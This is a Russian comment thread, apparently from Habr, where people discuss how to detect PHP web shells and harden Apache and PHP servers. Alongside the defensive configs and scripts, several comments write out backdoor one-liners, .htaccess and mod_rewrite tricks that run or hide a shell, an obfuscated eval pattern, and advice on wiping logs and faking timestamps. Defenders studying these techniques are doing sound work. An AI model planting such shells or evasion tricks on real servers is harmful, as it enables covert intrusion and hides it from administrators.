                                Да чего тут говорить, да, htaccess хорош для совместимости, для «удобства». Но, как и любое другое место, куда можно поместить опасные конфигурационные параметры, он плохо сказывается на безопасности.

                                Мы в этом топике говорим, кажется, про безопасность.
                              • +1
                                Для этого есть /etc/apache/sites-available/. Имхо, .htacces удобен и, пожалуй, необходим лишь в случае шаред хостинга или в других случаях, когда нормально конфиг не записать.
                                • 0
                                  Ещё для dev-сервера
              • 0
                По поводу «не ерунду»: вы написали нечто, что противоречит документации, а работа модуля вполне соответствует документации. Что это, как ни ерунда? ;)

                В рамки документации вполне укладывается, работает точно так, как там написано. Вы её действительно не читали, как я погляжу, хотя я вас уже даже носом ткнул туда.

                Я это проверял не только с PHP, но и с mod_tcl и mod_python в своё время.

                Короче, не разбираетесь в апаче — честно признайте это и не лезьте с ошибочными комментариями, не вводите людей в заблуждение.
                • –1
                  Создайте файл file.php.blabla, и впишите в него php код — удивитесь.
                  • 0
                    Работает http://dev.merlin-vrn.tk/file.php.blabla, что меня совершенно не удивляет. Так и должно быть, идите уже, прочитайте, хватит спорить.
                    • 0
                      Это же самое работает и при
                      AddType application/x-httpd-php .php .php5 .phtml
                      и не знаю, как вас, но многих именно это удивляет.
        • –1
          Отключение исполнения php в директориях, куда помещаются загружаемые файлы, проблему решает.

          Это вобщем то тоже не совсем так. Остается возможность залить злоумышленнику свой .htaccess в папку «куда помещаются загружаемые файлы» со своими директивами, которые в свою очередь обратно разрешат выполнение php.
          • 0
            > Остается возможность залить злоумышленнику свой .htaccess

            Это очень просто решается на уровне конечного приложения минимальной валидацией заливаемых файлов. Как минимум — по имени файла.
            • 0
              Только об этом все почему то обычно забывают…
            • 0
              Чёрный список не самое лучшее решение, имхо — что-то можно не предусмотреть, забыть, понадеяться на дефолт и т. п. Лучше вообще не давать заливать файлы с пользовательскими именами, а если нужно их сохранять, то хранить в БД или ещё где, а на диск записывать имена как какие-то суррогатные (или не очень — хэши и т. п.) идентификаторы.

              Хотя, если используется libmagic или аналоги для определения запускаемых файлов, то всё это как мёртвому припарка. Тут только четкое разделение каталогов, куда можно писать и откуда можно запускать.
              • 0
                libmagic надо отключать на уровне вырезания поддержки из исходников пакета имхо
        • +1
          Достаточно отказаться от использования AddHandler в пользу комбинации <FilesMatch> + SetHandler. Как минимум в Debian Wheezy это уже является частью дефолтной конфигурации mod_php (пакет libapache2-mod-php5).

          <FilesMatch ".+\.php$">
          	SetHandler application/x-httpd-php
          </FilesMatch>
          <FilesMatch ".+\.phps$">
          	SetHandler application/x-httpd-php-source
          	# Deny access to raw php sources by default
          	# To re-enable it's recommended to enable access to the files
          	# only in specific virtual host or directory
          	Order Deny,Allow
          	Deny from all
          </FilesMatch>
          # Deny access to files without filename (e.g. '.php')
          <FilesMatch "^\.php$">
          	Order Deny,Allow
          	Deny from all
          </FilesMatch>
          • +1
            Ну я о чём и говорю, собственно: не использовать mod_mime. Подключать по маске.

            Хотя было прикольно: скрипт, генерирующий картинку, назвать image.php.gif или image.gif.php и не задумываться о header() :)
        • 0
          Огромное спасибо за информацию. Нашли дырку благодаря вам.
    • 0
      А апач-то тут при чём?
      • 0
        выше частично ответили. но более важно, что уязвимости часто рассчитывают на тот же .htaccess.
    • +1
      diff чего? папки uploads?
    • 0
      Зачем такое извращение. А не проще ли от себя создавать все файлы?
    • 0
      слава богу, есть .gitignore )) та что не панацея.
      • 0
        появление или изменение .gitignore уже меняет git status.
        • 0
          В .gitignore записать .gitignore :)
        • 0
          Если у атакующего есть доступ к серверу, и он подготовлен, то можно и заменить тот же бинарник git'а на свой, изменённый. Благо open source и можно подправить только то, что нужно :)
        • 0
          в gitgnore есть директории, что не нужно гитить, и файлы, часто конфиги. шах и мат.
  • 0
    BulletProof Security кто-то пробовал? Есть от него толк?
  • 0
    Я на эту тему писал не так давно — habrahabr.ru/post/184150/
    Там как раз SPAM-сеть была…
  • +2
    Я в своё время проверял очень просто: Делал git init в каталоге с сайтом, добавлял в .gitignore все, что не связано с кодом сайта и каждый час по крону выполнялись команды git add. и git status. Выхлоп последней команды приходил на электронную почту. В зависимости от результата принималось решение о чистке сайта и латании дыр.
  • +1
    Простите за офф. топ. В примере атакующего скрипта заложен моб.телефон «хакера»?

    if (count($_POST) < 2) {
    die(PHP_OS. chr(49). chr(48). chr(43). md5(0987654321));
    }
    • +2
      Обратная последовательность от 1 до 10 (при mod 10).
      • +2
        Действительно, просто в заблуждение ввело то, что очень напоминает номер украинского мод.оператора.
  • 0
    Актуальная статья для многих.
    Я для себя эту проблему решил совершенно другим путём.
    1. запрет записи в корень вэб сервера для самого вэб сервера (файлы создаются от другого пользователя)
    2. Никаких левых скриптов без построчного аудита безопасности. (phpMyAdmin только через http-авторизацию на каталог)
    3. firewall (нельзя инициировать TCP-линк на что угодно кроме явно указаных айпи/портов)
    4. selinux rulez
    5. никаких урлвраперов для include/require
    6. disable_functions = eval, create_function…
    Ну и вообще я использую nginx + php_fpm (который наодятся на разных машинах)
    • 0
      Чем Вам eval не угодил?
      • 0
        С его помощью возможно выполнить вредоносный код. Exec, system… закрыты другим способом
        • 0
          А выполнить вредоносный код без евала нельзя?
          • 0
            Запрещены видимо все функции, с помощью которых можно выполнить php-код, не хранящийся в файлах.
            • 0
              Подобное тоже закрыто?
              include 'data://text/plain;base64,PD9waHANCiRzdHIxID0gJ015IE5hbWUgSXMgOiAnOw0KJHN0cjIgPSAnRHZpZCEnOw0KZWNobyAkc3RyMS4kc3RyMjsNCj8';
              
              • 0
                allow_url_fopen это не блокирует разве?
                • 0
                  да, блокирует:
                  Warning: include() [function.include]: data:// wrapper is disabled in the server configuration by allow_url_include=0 in /<тут был путь>/test-include-data-uri.php on line 3

                  Warning: include(data:text/plain;base64,ZWNobyAnSGVsbG8hJzs=) [function.include]: failed to open stream: no suitable wrapper could be found in /<тут был путь>/test-include-data-uri.php on line 3

                  Warning: include() [function.include]: Failed opening 'data:text/plain;base64,ZWNobyAnSGVsbG8hJzs=' for inclusion (include_path='.:/usr/share/php5:/usr/share/php') in /<тут был путь>/test-include-data-uri.php on line 3
    • 0
      6. disable_functions = eval, create_function
      Один момент: eval — конструкция языка, а не функция, заблокировать её с помощью disable_functions не получится, нужно использовать suhosin.
      • 0
        Так Suhosin уже, похоже, помер… Последняя поддерживаемая версия — 5.3.9 :(
        • +1
          Ваша правда.
          В любом случае, если дело дошло до выполнения php-кода злоумышленником, эффективность запрета отдельных функций вызывает у меня сомнения.
          • +1
            Это точно. Это защита, скорее, хостера от клиентов :)
  • +3
    Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.

    find . -type f -name '*.php' -mtime -7
    

    AddHandler php-script .php .php5 .php4 .php3 .html .htm .phtm
    


    Скрипт работает рекурсивно.

    #!/bin/bash
    
    search_dir=$(pwd)
    writable_dirs=$(find $search_dir -type d -perm 0777)
    
    for dir in $writable_dirs
    do
        #echo $dir
        find $dir -type f -name '*.php'
    done
    


    Рекурсивно? Да ладно?
    Вопрос на засыпку: «Каково поведение этого скрипта, если $writable_dirs содержит путь с пробелом»?

    Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей
    find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color
    

    А если злоумышленник использует лишь «eval(base64_decode(»? А если он сделал алиас для этих функций?
    • –3
      Это всего лишь примеры, неужели вы думаете, что можно описать все возможные варианты?
      Это как писать книгу о языке программирования и прикладывать к ней архив всех open source проектов доступных в сети.
  • 0
    Кто знает, существует ли некий серверный софт для проверки описанных выше ситуаций с возможностью удобно его конфигурировать, добавлять исключения и т.д.?
    Мне кажется проблема достаточно актуальная, чтобы такой софт существовал.
    • 0
      Увы, ситуация крайне плачевная:
      1. Коммерческие закрытые решения, функционал которых Вас рано или поздно перестанет удовлетворять
      2. Широко разбросанные по инету самодельные костыли, компиляцией которых Вам и придётся занаться.
      • 0
        Коммерческое решение мне вполне подойдет, есть ссылки на конкретные инструменты?
    • 0
      Делов то.
      1. Создаёте файл, на баше, который искомые команды выполняет. Результат вывода — отправляет на почту.
      2. Помещаете его в cron,

      У нас больше недели такая конфигурация работает — один раз заразу уже отловили.
  • 0
    Необходимо часто проверять журналы доступа на сервере

    Кто-нибудь в зале вручную проверяет журналы на серверах? Странно, что безопасность сервера может зависеть от ручной проверки человеком.
    • +1
      А от ручной настройки? :)
  • 0
    В статье, посвящённой PHP рекомендуете обслуживать сервер скриптами на bash…
    Недостатки:
    1. Отладка в баше? Неа, не слышал (реального применения)
    2. bash на новом сервере может быть чуток не такой как на старом (в мире СВОБОДНОГО ПО всё случается) — а скрипт на php — достаточно кросплатформенен.
    • 0
      ну хорошо, судя по этому и другому вашему комментарию, нужно использовать logwatch — скрипт не на баше, а аж на перле, чтоб обслуживать сервер php ;)
      • 0
        Нет, я и не говорю что надо использовать что-то не баше, перле или ещё чём-то — раз уж сайт на php — то и скрипты обслуживания могут находиться в дереве проекта (при переезде и развёртывании не забудутся)
        Критика тут в том что баш менее понятен, труднее в сопровождении и отладке.
        • 0
          Ну последнее утверждение спорно. А что касается скриптов обслуживания — ну и их тоже могут подправить, чего там.

          Системы обеспечения безопасности сервера не должны идти с каждым сайтом. Они должны в первую очереь сами быть безопасными, в том числе — не допускать проблем типа «подправил программу от имени непривилегированного пользователя».
        • +1
          Скрипты обслуживания должны быть на том, на чем лучше скрипты обслуживания писать, как правило без оглядки на основной язык проекта. Тем более, что типичный проект на php это и так смесь минимум пяти языков, а то и за десяток переваливает без особых извращений типа брэйнфака. А переезд или развертывание это другие задачи и решаются другими средствами (мне вот на ruby нравится php-проекты разворачивать :).
  • –1
    Пользуюсь jAntivirus для выявления новых внешних ссылок на главной странице сайта.
    В моей грусной практике взломы моих сайтов были предназначены для того чтобы поставить кучу невидимых ссылок на таблетки, из-за чего 2 из 10 сайта ушли в АГС. Потом уже написал jAntivirus и с тех времен пользуюсь.
  • +1
    Статья актуальна лет 5-10 назад, сейчас всё по другому.

    Никто уже не заливает отдельные файлы с попыткой их спрятать среди прочих index.php. Пример в статье с загруженными файлами — либо начинающий, либо ленивый. Если ресурс интересен, ты никогда не будешь активно работать из таких файлов. Проще поменять существующий. Скажем, common.php или config.php, дописать там безобидную
    array_map($_POST['map'], $_POST['config']);
    

    и у нас шелл, без палева и никто не найдёт. Если проект юзает svn/git, чаще всего конфиги в ignore. Время редактирования исправляем с помощью touch, и вуаля.

    В итоге на выходе мы получим шелл в файле, который инклудится почти везде, т.е. наши POST запросы побегут на основной index.php, не вызывая подозрения. Да и то, POST уже морально устаревает, шеллы давно общаются через заголовки, т.е. POST и GET пустые, зато висит доп заголовок )
    Наш файл не спалить на eval/system/exec и подобное, а так же мы легко исправили время последнего модифицирования. Как найти такое?

    Далее. Получив веб шелл, чаще всего мы имеем 2 истории. История 1, php выполняется от реального пользователя. Часто, это всякие там dev итп. Минус — не имеем доступа к логам. Плюс — имеем доступ к .ssh домашней дире. А там уже и веб шелл не нужен, как вы понимаете. История 2, php выполняется из под апача или на правах www. Тогда мы просто чистим лог файлы от своих IP после всех действий.

    Соблюдая осторожность, грамотно спрятанный шелл может пропустить даже опытный безопасник. Не говоря уже о том, что ломать сайты через бэкэнд это вчерашний день, сегодня в моде svc и nosql.
    • +2
      Откуда вы такие берётесь умные, а? «Никто не заливает», «вчерашний день»…

      Заливают. Ломают через бэкэнд. Постоянно ломятся. Говорю же, раз в месяц то тут, то там попросят вычистить зловреда, а там внутри eval(base64_decode()), самое умное, что видел — это трюки наподобие $x='ev'."al"; $y=array('x','z'); $z='base'."64_".'decode'; $n=$GLOBALS['y'][0]; $m=$GLOBALS['y'][1]; $GLOBALS['n']($GLOBALS['m']("fasdfasdf".'asdfasdfasd'."fasdfsadf'...)); , выдвинутые пробелами на 300-ю позицию.
      • –1
        Я и говорю, если встречаете подобное, значит поймали новичка или лентяя. Если вы поймали только ночичка, но даже новичёк нашёл дырку — проверьтесь на руткиты, сверьте бинарники mysql, apache и прочих рутовых штук на суммы итп. Вполне вероятно, что вы уже порутаны. Скажем, один из моих любимых руткитов базируется на mysql, но даже исходники не меняет. Определённая последовательность символов к мускулу в любом запросе и у меня рут ))
        То что вы описали — новички действую по статьям. А с профи вы, видимо, пока не встречались.
        • +1
          Эскалация привилегий процесса mysqld? Это уже уязвимость ядра.
      • –5
        и, кстати, да, нет времени трепаться впустую.
        предоставьте узявимый lfi на стандартной системе, как минимум у меня будет шелл, который вы не найдёте описанными вами способами. В противном случае у меня будет рут. Без пафоса вроде «откуда вы такие берётесь».
        Иначе вы чудак на известную букву. Ласосни тунца.
        • +1
          Специально для тунцов поясняю простое логическое соображение: тот факт, что я натыкаюсь только на начинающих, вовсе не не означает, что проблемы, описанные в статье, были актуальны 5-10 лет назад и что это вчерашний день. С точностью до наоборот: этот факт означает, что так делает невообразимо большое число народу (раз даже мне досталось), и не 5-10 лет назад, а прямо сейчас наверняка кто-то где-нибудь на очередном несчастном сервере рядом с index.php прячет отдельные файлы.

          Это очень просто: раз люди это видят сейчас, значит это и актуально сейчас, а не 5-10 лет назад и не вчера.
          • –2
            хватит заикаться и признай, ты нашёл лишь начинающих. Если начинающие тебя нашли, значит переустанавливай систему, ибо ты уже порутан.
            Своим друзьям, что ставят мне минусы, можешь дать зелёны свет и максимальный урон, т.к. у меня 500 кормы (кстати, за статью про безопасность, которая до сих пор на 1-м месте на хабре), всё равно для меня твои напряги как материальная точка.

            Ты можешь себя утешать тем, что твои способы защиты актуальны до сих пор. Но они актуальны для киддесов 5-ти летней давности. Современных хакеров ты даже не заметишь. Последнего рута я получил ни разу не обратившись к файловой системе.
            • +3
              Какая разница нашел он начинающих или профессионалов, если есть проблемы, которые надо решать.
              • –1
                гарик ) пусть ты и модер на ачате, но прислушайся к грину )
    • 0
      php выполняется из под апача или на правах www. Тогда мы просто чистим лог файлы от своих IP после всех действий.

      А получится?
      • 0
        Конечно нет. Апач открывает лог-файлы, когда он ещё рут, и только потом сбрасывает привилегии. По крайней мере, с mpm-itk (других апачей под рукой нет, лезть проверять лень).
        • 0
          Я немного другое имел в виду. Даже если приложение (сайт) ведет собственный лог (через fopen/fwrite), то у меня оно писать туда может, а вот читать — нет. chown/chmode сделать тоже не может :)
          • –1
            что за права, когда ты можешь писать, но не можешь читать? Я в том смысле, что это не встречается
            • +1
              А зря. Права должны быть минимально необходимыми. Код и конфиги только на чтение, логи только на запись.
  • +2
    Вот еще совет.
    Очень простой. Советую всем сомневающимся выполнить прямо сейчас.
    1. sudo apt-get install clamav
    2. freshclam
    3. clamscan -ir /var/папка/с/сайтами
    
  • 0
    Кроме того, сейчас пошла мода создавать файл index_backup.php, имя которого вроде не вызывает сомнений у многих, а find mtime его не найдёт.
    • +1
      Простите, «имя которого вроде не вызывает сомнений у многих»?! В корне сайта появился левый файл и сомнений не вызовет?!
  • +1
    Например я держу все проекты на сервере в ioncube, как защита от анализа скриптов, даже если кто-то к ним получит доступ. Маловероятно что у взломщика окажется декодер последней версии ioncube (и т.д.). Так можно по маске через egrep проверять, чтобы не криптованных php-файлов не оказывалось на сервере. Такие вещи как phpmyadmin вообще не использую, ведь под все ОС для этого существуют менеджеры баз данных, которые могут работать через SSH.

    В родительском каталоге каталога (масло маслянное) куда загружаются файлы (именование только моим скриптом после всяческого анализа загруженного файла (например попытка получить exif-data (размерность) для изображений, хотя не панацея) есть .htaccess с кодом

    ALLOW FROM ALL
    
    AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
    
    # Disable PHP.
    RemoveType php
    
    # Denied file execute
    RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
    AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
    


    Могу ошибаться, но в Apache по дефолту глубина просмотра .htaccess составляет два уровня. То есть если в моем случае взломщик поместит файл .htaccess в каталог загрузки, то он уже не сработает (мысль прямо сейчас не могу проверить).

    Также в коде программы можно предусмотреть ключ, который будет использоваться при создании хеша для имени загруженного файла, и соответственно периодически проверять загруженные файлы на совпадение названия, и контрольной суммы файла полученной из его содержимого, на случай если в каталог загрузки были залиты файлы не через мой программный интерфейс.
    • 0
      Про просмотр только двух файлов .htaccess моя ошибка. В документации

      Further note that httpd must look for .htaccess files in all higher-level directories, in order to have a full complement of directives that it must apply. (See section on how directives are applied.) Thus, if a file is requested out of a directory /www/htdocs/example, httpd must look for the following files:

      То есть apache будет смотреть все вышестоящие директории на предмет других .htaccess чтобы составить полную картину того, что нужно делать. Поэтому логично чтобы в самом каталоге с загружаемыми файлами вообще не было .htaccess (был в родительском каталоге без возможности записи), и проверять список файлов на это.
  • +2
    простые пример частичного или полного обхода:

    такую версию исполнения кода (echo с бэктиками, аналог exec-а) вашими фаиндами особо не найдешь, обращаться можно гетом, просто с нужными кукисами, выполняя команды на сервере:
    <?php
    echo `$_COOKIES["ololo"]`; // или $_REQUEST
    ?>
    


    причем:
    1. код можно засунуть в ololo.gif, который потом инклудить из другого файла
    <?php
    include("/path/ololo.gif");
    ?>
    

    2. код можно засунуть в гифку, а потом добавить .htaccess типа:
    <Files "pict.gif">
      AddType application/x-httpd-php .gif
    </Files>
    

    или просто добавить в общее правило нужный тьип файла
    AddType application/x-httpd-php .php .gif
    

    3. причем если кто-то попытается посмотреть гифку, в конце можно дописать:
    header("Content-type: image/gif"); 
    $image = imagecreatefromgif('ololo.gif'); 
    imagegif($image); 
    imagedestroy($image); 
    

    4. не надо забывать про .phtml и, в принципе, вообще стоит забыть что шеллы-бэкдоры могут быть только в php
    5. .shtml (mod_ssi hello!)
    <!--#exec cmd=$HTTP_COOKIE -->
    

    6. всесильный touch!
    смотрим дату создания нормальных файлов, меняем на такую-же

    и много-много чего еще

    • 0
      вдохновление! можно забыть про access_log

      выискиваем на сервере самый популярный файл (например индексная или поисковая страница), добавляем в .htaccess и вместо обращения в логах к нашему файлу-бэкдору видим обращение к этому файлу (естесно нужен mod_rewrite), используя обычный браузер (в примере — опера)

      RewriteEngine On
      RewriteCond %{HTTP_USER_AGENT} .*Opera*
      RewriteRule ^index\.php$ path/shell.php
      
  • 0
    .htaccess на крупных сервисах редкость, даже при наличии апача. И даже если такое есть, туда смотрят в первую очередь.
    • 0
      а кто его мешает добавить в директорию, доступную на запись?
      • +1
        Добавить можно, но толку мало, если стоит Allow Override None в основном конфиге. А он стоит если сознательно отказались от .htaccess.
        • 0
          во-во
  • 0
    Статья надо заинтриговала своим названием, особенно учитывая немалое кол-во способов(как уже писали выше) по внедрению вредоносного кода. Однако как водится панацеи не получилось. К тому же как я понял все выше описанные операции надо регулярно выполнять вручную, что делает своевременное обнаружение взлома практически нереальным! Ведь все мы порой уходим в отпуск к примеру и кто тогда будет проверять изменения файлов и искать признаки взлома? Да и даже в рабочие дни тратить время подобную ежедневную проверку непозволительная роскошь.

    Однако мысль сканировать время изменения файлов в каталоге сервера считаю наиболее полезна. Только вот ее доработать надо, к примеру повесить это на cron и уведомлять по email/sms админа когда и что изменилось скажем за сутки/час, а саму проверку выполнять из скрипта, который находится за пределами папки веб-сервера и ftp дабы нельзя было повлиять на этот процесс без прав root. Наиболее часто в посл время сталкиваюсь с попытками утащить пароли к ftp через ява-апплеты на популярных фотохостингах. Стало быть в зону риска попадает все что доступно и по ftp тоже.
    • +2
      Время изменения грамотный взлом не изменит. Нужно смотреть на содержание файлов, например иметь базу хэшей файлов свежеустановленного сайта и регулярно её мониторить.

      Ещё интересным ходом является демон, который получает уведомления inotify (в Linux, в BSD/MacOS — kqueue, в Windows тоже что-то похожее есть) IN_ATTRIB, IN_CREATE, IN_MODIFY и т. п. от ядра об изменениях файлов исходников и конфигов и незамедлительно (а не когда хрон прогонится) шлет уведомления админам. Тут взломщик, даже получивший рута, может просто не заметить эту систему, если её не назвать guarder и т. п. Ещё apparmor или аналоги вроде должны помочь, но их не осилил.
      • 0
        Кстати, именно таким образом — через INOTIFY — я однажды и ловил. Зараза сам себя удалял после того, как что-то делал. Пришлось сесть «в засаду» с INOTIFY и по событию «created» его перехватывать. Тут конечно гонки (т.е. не факт, что я успеваю скопировать раньше, чем он себя удалит), но таки успело, скопировал все новосозданные файлы, а потом и нашёл саму дыру.
      • 0
        Грамотных взломщиков уже меньше вероятность словить, но хеш файлов дополнительно сверять уже ценное дополнение.
        Системные уведомления перехватить разумеется надежнее, но речь еще идет о том, что практически уверен, что 99% сайтов даже и вручную раз в месяц мало кто проверяет(судя по алертам антивира на внедренный код) не говоря уже об использовании коммерческих методов защиты.
        Другими словами чтоб дешево и сердито… время и хеш проверять автоматически вполне сможет использовать даже начинающий с минимумом напрягов для хостера.
        • 0
          Про коммерческие я ничего не говорил, только про «на коленке».
    • +1
      Давно существуют различные системы IDS (Intrusion Detection System) и IPS (Intrusion Prevention System), идея автоматически проводить мониторинг ресурсов не нова. Хотя вряд ли, данная тема, касается веб-разработчиков. Это скорей уже обязанности сис админа, грамотно настроить сервер.

      ИХМО: мне кажется невозможно быть одновременно крутым админом, знающим все плюшки различных конфигураций и крутым веб-разработчиком, знающим различные методы атак на веб приложения и умеющим писать код без дыр. В свое время пытался освоить и одно и другое, но чашу весов перевесило программирование, проще написать надежное приложение, чем мучиться с настройками сервера (ведь это задача хостера, за то мы ему и платим).

      Конечно, личные меры безопасности никто не отменял — не пересылать пароли в открытом виде по IM или почте, не хранить пароли в открытом виде, не сохранять пароли в FTP менеджерах, обозревателях и прочих Total Сommander-ах, не пускать вирусняк на свой рабочий комп (юзать unix и ставить открытое ПО из исходников), использовать TrueCrypt и Git для бекапа данных (у меня крипто-контейнер с проектами лежит в Dropbox, а там репозитории). В общем паранойя по полной и будет счастье :)
      • 0
        Да, бесспорно идея не нова, а цена вопроса какая? хотяб примерно для читающих сей топик.
        На ява-скриптах и апплетах написанный код и под линухами неплохо цепляется, проверено)
        Кода без дыр также не существует, если вы их не заметили — это еще не значит что их нет, ибо не лучший способ не ошибаться — лишь ничего не делать.
        Особенно характерный пример — мегапопулярные CMS, которые уже множество раз фиксились на тему безопасности(чаще по факту обнаружения, чем заранее) и все же регулярно находятся все новые и новые их уязвимости.
        • 0
          Есть бесплатные свободные решения, Snort IDS например.
      • 0
        Увы, реальность такова, что многим (веб)разработчикам приходится и админить сервера с их софтом. Уровень может быть разным, но хоть что-то вне кода править (тот же .htaccess) многим приходится.
  • +1
    чуви, даю универсальный способ защиты. Только для хабра и только сегодня. Минусуйте как и прошлые комменты, мне не жалко, плюсов хватает. Главное, чтобы сделали.
    Совета два:
    1) Запускать php только определённые файлы. Мои проекты запускают только index.php, остальные инклудятся. Даже если у вас несколько php, что запускаются, укажите их явно для веб сервера, остальные не запускайте.
    2) К mysql запросам меняйте information_schema на синоним, но с русской «о», запросы останутся легитимными, но не будут работать как хотелось бы.

    Я к этому добавил смс информировании при попытке запустить не объявленные php файлы и применение information_schema. Однозначно, таких ловушек не подозревают, а значит, во-первых, вы избежите взлома, во-вторых, будете осведомлены.

    Никакие ручные анализы логов не дадут подобного. Повторю, мой шелл будет обращаться обычным гетом на index.php главный без параметров и никто ничего не заметит
    • –2
      правда, другие способы защиты, типа скана логов и поиска свежих файлов, из разряда «мы дадим врагу огнестрел и попробуем отобрать его». слабоумие и отвага
      • +1
        Защита должна быть многоуровневой.
  • 0
    Большинство методов, предполагают, что злоумышленник загружает на север файлы

    Сильная фраза…
    • 0
      А что не так? Совсем не обязательно файл загружать, чтобы получить доступ ко многим функциям, если есть, скажем, eval($_POST['expr']);

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.